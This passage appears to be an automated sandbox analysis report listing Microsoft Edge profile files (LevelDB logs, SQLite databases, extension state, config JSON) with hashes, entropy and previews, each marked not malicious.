Entropy (8bit):	5.112904590196706
Encrypted:	false
SSDEEP:	6:HHd9eOq2PN723oH+Tcwt9Eh1tIFUt8YHdC+Zmw+YHd2XikwON723oH+Tcwt9Eh1H:nPrvVaYeb9Eh16FUt8k9/+kD5OaYeb9O
MD5:	0333791D95EF9BB3D9E7B393E44D45ED
SHA1:	F4D0CFD290BA5CFFD9DA022C070570402B500125
SHA-256:	8E310793B7E52E91101D7D7ADE889BD2265E825BC4580C9B4A6764826906356E
SHA-512:	5B50826A174C98130AEB3B41B0A8A6AF30ECEC5D98B8843EDCE1479D15F691E118FA3920EEF600D3CEE99AF9FC9FA91AB20EBC3988E5FF305D25517B39DA8AC1
Malicious:	false
Preview:	2024/11/20-12:57:39.192 20a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-12:57:39.193 20a4 Recovering log #3.2024/11/20-12:57:39.197 20a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.112904590196706
Encrypted:	false
SSDEEP:	6:HHd9eOq2PN723oH+Tcwt9Eh1tIFUt8YHdC+Zmw+YHd2XikwON723oH+Tcwt9Eh1H:nPrvVaYeb9Eh16FUt8k9/+kD5OaYeb9O
MD5:	0333791D95EF9BB3D9E7B393E44D45ED
SHA1:	F4D0CFD290BA5CFFD9DA022C070570402B500125
SHA-256:	8E310793B7E52E91101D7D7ADE889BD2265E825BC4580C9B4A6764826906356E
SHA-512:	5B50826A174C98130AEB3B41B0A8A6AF30ECEC5D98B8843EDCE1479D15F691E118FA3920EEF600D3CEE99AF9FC9FA91AB20EBC3988E5FF305D25517B39DA8AC1
Malicious:	false
Preview:	2024/11/20-12:57:39.192 20a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-12:57:39.193 20a4 Recovering log #3.2024/11/20-12:57:39.197 20a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46275471137354024
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBulZLk:TouQq3qh7z3bY2LNW9WMcUvBurLk
MD5:	2A67EC5364B060D9E8B34960B12DCA1A
SHA1:	6DAF7A64C64B8E447CF7B745D116F526DA29F03A
SHA-256:	C5A38BC08A074525C34E5439E6414B053990E82AE0BFB682FA71C12F9E7E8B01
SHA-512:	54819D8531B48428F1BE93B443E224A4ADE307B79955FF7790B7455605AC88CDB8A7F6C0D7BFBC692D5C638CA7E358C31CF2F1438BD1F6B1DD81351A17244BC7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.186135854123154
Encrypted:	false
SSDEEP:	6:HH9B+q2PN723oH+TcwtnG2tMsIFUt8YH9CWZmw+YHCBVkwON723oH+TcwtnG2tM2:nP+vVaYebn9GFUt8koW/+kCBV5OaYebB
MD5:	B2802348D5890A628A0060DDB8BACDE9
SHA1:	DF6B79B19C39FC2FA1A93F7C1677A3B69D8912D3
SHA-256:	8629A7A6B904E9072CAD6F373BAFB4D30A5D35D9CE227D75C8B621A6F64D9D7D
SHA-512:	CD9D5D1F2E7CDFCCF0797EE334EC268B575B76D405DFDC353215F462EE6BDDA5BCBDA0DCDD1EDD2D12EFC98C5DB3302AB338ECBEF09DF5E5739EF01E8DD51227
Malicious:	false
Preview:	2024/11/20-12:57:33.813 2cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-12:57:33.813 2cc Recovering log #3.2024/11/20-12:57:33.814 2cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.186135854123154
Encrypted:	false
SSDEEP:	6:HH9B+q2PN723oH+TcwtnG2tMsIFUt8YH9CWZmw+YHCBVkwON723oH+TcwtnG2tM2:nP+vVaYebn9GFUt8koW/+kCBV5OaYebB
MD5:	B2802348D5890A628A0060DDB8BACDE9
SHA1:	DF6B79B19C39FC2FA1A93F7C1677A3B69D8912D3
SHA-256:	8629A7A6B904E9072CAD6F373BAFB4D30A5D35D9CE227D75C8B621A6F64D9D7D
SHA-512:	CD9D5D1F2E7CDFCCF0797EE334EC268B575B76D405DFDC353215F462EE6BDDA5BCBDA0DCDD1EDD2D12EFC98C5DB3302AB338ECBEF09DF5E5739EF01E8DD51227
Malicious:	false
Preview:	2024/11/20-12:57:33.813 2cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/20-12:57:33.813 2cc Recovering log #3.2024/11/20-12:57:33.814 2cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6142413142043499
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j/ktspgomL:TO8D4jJ/6Up+bktxt
MD5:	AF6B91BDD8C0EE8BAF181A5F5617BC15
SHA1:	E821CB487186B754C26760EBCEBE1329335A9D67
SHA-256:	61B24DC4C463F1226BD1FC36952E4F54E3AE7878315CCDCC5AC8A0E03CDD6480
SHA-512:	A61B5995281AA30FEC0FF69A3AF4A57DBA776B0ED34D13E3C4374FF206086A4445A7ACEEF32ABE350825D112F7BF1F1F93C78781FD2EDFE5A521F9E07B399812
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354138268253623
Encrypted:	false
SSDEEP:	6144:jA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:jFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C4ABF766CBE70D22DEECFCA12FE553AF
SHA1:	1649AE5F86A56DCE719EBB24E7D5D1B6FEFEB462
SHA-256:	4420DC92CB5871D51A67E7EEE26C8ADBCC09C1BDB28DB416908A060D66AABB24
SHA-512:	EFE8982CED19B71CAA85DB0C0501DA2DFD9AF366B1C785505F16F8075FE60FBE6C7A9D8BDCC738687D742BBB4881B0BEF2EEB505A6FC8BDFFCB43642151DE983
Malicious:	false
Preview:	...m.................DB_VERSION.1..9.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376599064415780..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.142306131198942
Encrypted:	false
SSDEEP:	6:HH05hRM1N723oH+Tcwtk2WwnvB2KLlVHUq2PN723oH+Tcwtk2WwnvIFUv:n4HsaYebkxwnvFL/UvVaYebkxwnQFUv
MD5:	88E89015B8F36772E5D76D1B67545D54
SHA1:	93C41557E31F164D8F4A1870CBC17E93F134466E
SHA-256:	61C7C675E526F3725A19AB394E640B078EC176BF4861550931FC12C82150CCB3
SHA-512:	48E60D155A08A8E0353C42B2A362054C9574CCA8D6828E1B31E15C9B22B5C1A187DA9CA0F9AB20D681D47610EAAE7885DE5F232A32BEECF7C34A7E8C83DF85E1
Malicious:	false
Preview:	2024/11/20-12:57:39.290 20e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/20-12:57:39.760 20e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246176670739604
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RZ:C1gAg1zfvB
MD5:	DB29064EB5E2990743C8B6E8B0BFF948
SHA1:	E8C8D6A08DCE6069CD2AD32FFA9DEDAB9D39D7B3
SHA-256:	CC77EC8DFF8310425A5EFC1EAFD45CF2039400A1DADABB518539E67AE6B574AF
SHA-512:	61E773DC63636224BC37CD0C6EA80C858FB057C93DE705C6765EE69440F3A8A3A47515370AB846026DB61C89611BDBE540AC9911F69625CDEAA621338CCB8224
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.191284291881718
Encrypted:	false
SSDEEP:	6:HHpE+q2PN723oH+Tcwt8aPrqIFUt8YHcZZmw+YHcNVkwON723oH+Tcwt8amLJ:npZvVaYebL3FUt8kw/+k45OaYebQJ
MD5:	9C8D23B35D7A3BE8C2F2FC279324AC3E
SHA1:	470A1F5D722FCD131A2D54DE7E234DBA379D49E2
SHA-256:	38F7CD820587640CAB1256951AA7BB1198740B1BA3FE203D576E7945DE428DAF
SHA-512:	FEE88DD3829E48EBD8770402FA204BFD963C334DCE3BF24AF7401A1B19250E852460D144CC865F5DC8FEB4806240BF57C5DCD1E8FC31DF0EE980598EDB7BE2F6
Malicious:	false
Preview:	2024/11/20-12:57:33.688 1778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-12:57:33.826 1778 Recovering log #3.2024/11/20-12:57:33.826 1778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.191284291881718
Encrypted:	false
SSDEEP:	6:HHpE+q2PN723oH+Tcwt8aPrqIFUt8YHcZZmw+YHcNVkwON723oH+Tcwt8amLJ:npZvVaYebL3FUt8kw/+k45OaYebQJ
MD5:	9C8D23B35D7A3BE8C2F2FC279324AC3E
SHA1:	470A1F5D722FCD131A2D54DE7E234DBA379D49E2
SHA-256:	38F7CD820587640CAB1256951AA7BB1198740B1BA3FE203D576E7945DE428DAF
SHA-512:	FEE88DD3829E48EBD8770402FA204BFD963C334DCE3BF24AF7401A1B19250E852460D144CC865F5DC8FEB4806240BF57C5DCD1E8FC31DF0EE980598EDB7BE2F6
Malicious:	false
Preview:	2024/11/20-12:57:33.688 1778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-12:57:33.826 1778 Recovering log #3.2024/11/20-12:57:33.826 1778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.168790391032713
Encrypted:	false
SSDEEP:	6:HHYt+q2PN723oH+Tcwt865IFUt8YH5Zmw+YHtVkwON723oH+Tcwt86+ULJ:nYovVaYeb/WFUt8k5/+kT5OaYeb/+SJ
MD5:	99F47AC3D345999AD4BF509A5CEBF5EE
SHA1:	4F281ECDD88A51E264379E01BA67A91FD2988F17
SHA-256:	D330DBC7A1AF5E10585DA258CD4927C2D443C2B6D401970DC35DB3E04F8CA93A
SHA-512:	FC12C9A530B17FCD5C6789C0285CAA27C2F4AA341EAEDD808BA8935F7CEABFD564400A7CFCE693F9A77A734CDA988164230B2B1DEF577E55E6DBE06CFE141941
Malicious:	false
Preview:	2024/11/20-12:57:33.871 1778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-12:57:33.872 1778 Recovering log #3.2024/11/20-12:57:33.872 1778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.168790391032713
Encrypted:	false
SSDEEP:	6:HHYt+q2PN723oH+Tcwt865IFUt8YH5Zmw+YHtVkwON723oH+Tcwt86+ULJ:nYovVaYeb/WFUt8k5/+kT5OaYeb/+SJ
MD5:	99F47AC3D345999AD4BF509A5CEBF5EE
SHA1:	4F281ECDD88A51E264379E01BA67A91FD2988F17
SHA-256:	D330DBC7A1AF5E10585DA258CD4927C2D443C2B6D401970DC35DB3E04F8CA93A
SHA-512:	FC12C9A530B17FCD5C6789C0285CAA27C2F4AA341EAEDD808BA8935F7CEABFD564400A7CFCE693F9A77A734CDA988164230B2B1DEF577E55E6DBE06CFE141941
Malicious:	false
Preview:	2024/11/20-12:57:33.871 1778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-12:57:33.872 1778 Recovering log #3.2024/11/20-12:57:33.872 1778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.139619092961588
Encrypted:	false
SSDEEP:	6:HHynYVq2PN723oH+Tcwt8NIFUt8YHy8PVSgZmw+YHy8PVSIkwON723oH+Tcwt8+Q:nOYVvVaYebpFUt8kbYg/+kbYI5OaYeb2
MD5:	573E228FD88F3DC21B5CE7A084480CFB
SHA1:	81D727937B29B5D811B6710A01D27F37B6D3054B
SHA-256:	E387AE59EF74EB06F0E618185775788EC4E3BCCCC69A2C16894F55FB20543490
SHA-512:	231D2EF67B9F3E0FF69572F9B09563D481B0FEB289BDF7D25438931D740EAFDED5D468B92BAD590145B8B13DAB43B222935D50D3525D9E6E542FEA96F278827E
Malicious:	false
Preview:	2024/11/20-12:57:35.346 1fa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-12:57:35.347 1fa0 Recovering log #3.2024/11/20-12:57:35.347 1fa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.139619092961588
Encrypted:	false
SSDEEP:	6:HHynYVq2PN723oH+Tcwt8NIFUt8YHy8PVSgZmw+YHy8PVSIkwON723oH+Tcwt8+Q:nOYVvVaYebpFUt8kbYg/+kbYI5OaYeb2
MD5:	573E228FD88F3DC21B5CE7A084480CFB
SHA1:	81D727937B29B5D811B6710A01D27F37B6D3054B
SHA-256:	E387AE59EF74EB06F0E618185775788EC4E3BCCCC69A2C16894F55FB20543490
SHA-512:	231D2EF67B9F3E0FF69572F9B09563D481B0FEB289BDF7D25438931D740EAFDED5D468B92BAD590145B8B13DAB43B222935D50D3525D9E6E542FEA96F278827E
Malicious:	false
Preview:	2024/11/20-12:57:35.346 1fa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-12:57:35.347 1fa0 Recovering log #3.2024/11/20-12:57:35.347 1fa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

